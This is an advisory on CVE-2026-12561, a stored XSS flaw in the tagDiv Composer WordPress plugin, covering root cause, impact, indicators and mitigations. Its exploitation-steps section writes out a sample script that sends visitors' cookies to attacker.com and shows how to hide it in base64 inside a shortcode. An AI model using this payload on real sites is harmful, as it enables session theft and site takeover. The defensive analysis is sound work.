CVE-2026-12561

Overview

CVE-2026-12561 is a Stored Cross-Site Scripting (XSS) vulnerability in the tagDiv Composer plugin for WordPress, affecting all versions up to and including 5.4.5. The flaw resides in the vc_raw_html shortcode's render() method, which base64-decodes user-supplied content and outputs it directly into page HTML without proper escaping. It was published on August 25, 2026, with a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).

This vulnerability is listed on CISA's Known Exploited Vulnerabilities (KEV) catalog, indicating active exploitation in the wild. Defenders should treat this as a high-priority issue despite the Medium CVSS score, as the attack surface is broad—any WordPress site using the plugin with Contributor-level users is at risk. The disclosure timeline shows a coordinated release of advisories from Wordfence and GitHub, with public PoC references available, which increases the likelihood of exploitation attempts.

Security teams managing WordPress environments should prioritize patching, review user roles, and monitor for indicators of compromise. The vulnerability is particularly dangerous because it allows low-privileged users to execute scripts in the context of higher-privileged users, potentially leading to full site compromise.

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), stemming from a filter bypass in the vc_raw_html::render() method. When a contributor saves a post containing the [vc_raw_html] shortcode, WordPress's save-time wp_kses_post() sanitization filter and the plugin's own strip_tags() call only inspect the raw (base64-encoded) shortcode content, which appears as inert text with no HTML tags. At render time, the method base64-decodes this content and concatenates the result directly into the page HTML without any escaping, allowing arbitrary script tags to be emitted to site visitors. This design creates a sanitization bypass where dangerous payloads survive storage and are executed at page render time (GitHub Advisory, Wordfence).

The vulnerable component is the vc_raw_html shortcode, part of the tagDiv Composer page builder. The affected version range is all versions up to and including 5.4.5. Attack prerequisites include having an account with at least Contributor-level permissions on the WordPress site, which allows creating and editing posts but not publishing them. The trust boundary is between low-privileged users and the site's administrators; the vulnerability allows crossing this boundary by injecting scripts that execute in admin sessions.

The weakness is a classic stored XSS, but the base64 encoding adds a layer of obfuscation that bypasses standard input sanitization. This highlights the importance of output escaping and the dangers of decoding user input at render time without re-sanitizing.

Impact

Successful exploitation allows authenticated attackers with Contributor-level access or above to persistently inject arbitrary JavaScript into WordPress pages. The injected scripts execute in the browser of any user who visits the affected page — including Editors and Administrators who preview pending posts — enabling session hijacking, credential theft, privilege escalation, or further site compromise. The scope is marked as Changed, meaning the impact extends beyond the plugin itself to the broader WordPress site and its visitors (GitHub Advisory, Wordfence).

For defenders, the realistic outcomes include:

• Confidentiality breach: Attackers can steal session cookies, credentials, or sensitive data displayed on the page.
• Integrity compromise: Attackers can modify page content, deface the site, or inject malicious links.
• Availability impact: Injected scripts could redirect users to malicious sites, causing denial of service or reputational damage.
• Privilege escalation: By targeting admins, attackers can create new admin accounts, install backdoors, or take full control of the WordPress installation.

Downstream abuse scenarios include using the compromised site as a distribution point for malware, phishing campaigns, or SEO spam. The business exposure is significant for organizations relying on WordPress for their web presence, as a single Contributor account can lead to a full site takeover.

Exploitation steps

1. Obtain Contributor-level access: Register or compromise a WordPress account with at least Contributor privileges on a site running tagDiv Composer ≤ 5.4.5.
2. Craft a base64-encoded XSS payload: Encode a malicious script tag in base64, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script> becomes a base64 string.
3. Embed payload in shortcode: Create or edit a post and insert the [vc_raw_html] shortcode with the base64-encoded payload as its content, e.g., [vc_raw_html]PHNjcmlwdD5...base64...</vc_raw_html].
4. Submit the post for review: Save or submit the post. WordPress's wp_kses_post() and the plugin's strip_tags() see only the inert base64 string and allow it to persist in post_content.
5. Trigger execution: When an Editor or Administrator previews the pending post, or when any user visits the published page, the vc_raw_html::render() method decodes the base64 content and injects the raw HTML/script directly into the page, executing the attacker's JavaScript in the victim's browser (GitHub Advisory, Wordfence).

These steps are for defensive triage and understanding the attack chain; do not attempt exploitation without authorization.

Indicators of compromise

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing vc_raw_html shortcode content with base64-encoded strings in the request body; unusual preview requests (?preview=true) by high-privilege accounts shortly after a Contributor submits a post.
• File System / Database: post_content entries in the WordPress database (wp_posts table) containing [vc_raw_html] shortcodes with long base64-encoded strings that decode to <script> or other HTML tags.
• Network: Outbound connections from site visitors' browsers to unknown external domains following page visits; unexpected JavaScript requests to attacker-controlled infrastructure originating from the WordPress site's pages.
• Process/Behavior: Unexpected admin account creation, password changes, or plugin installations occurring shortly after an Editor or Administrator previews a Contributor-submitted post (Wordfence).

Additional hunt ideas:

• Search for base64-encoded strings in post_content that decode to HTML tags using SQL queries or WordPress admin tools.
• Monitor for unusual outbound HTTP requests from the web server to domains not in the site's allowlist.
• Review user role changes and new user registrations for anomalies.
• Use a web application firewall (WAF) to log and alert on requests containing vc_raw_html with base64 patterns.

Mitigation and workarounds

Update the tagDiv Composer plugin to a version beyond 5.4.5 as soon as a patched release is available from the vendor. In the interim, restrict Contributor-level and above accounts to only trusted personnel, and consider disabling the plugin if it is not essential. Deploying a Web Application Firewall (WAF) configured to detect and block base64-encoded payloads within shortcode attributes can provide additional defense-in-depth. Regularly audit wp_posts content for suspicious [vc_raw_html] shortcode usage and monitor user accounts with post-editing capabilities (Wordfence, GitHub Advisory).

Additional compensating controls:

• Implement a content security policy (CSP) to restrict script execution origins.
• Enable two-factor authentication for all user accounts, especially those with editing privileges.
• Regularly review and remove unused user accounts with elevated roles.
• Keep WordPress core and all plugins updated to the latest versions.

Community reactions

The vulnerability was reported and disclosed by Wordfence, which maintains the authoritative threat intelligence entry for this CVE. No notable independent researcher commentary, social media discussion, or broader media coverage has been identified at the time of disclosure (Wordfence).

However, the inclusion in CISA's KEV catalog suggests active exploitation, which may prompt community discussions and vendor responses. Defenders should monitor Wordfence and GitHub for updates and any additional PoC details.

Additional resources

• Wordfence Advisory
• GitHub Advisory
• tagDiv Plugin Docs
• CIRCL Vulnerability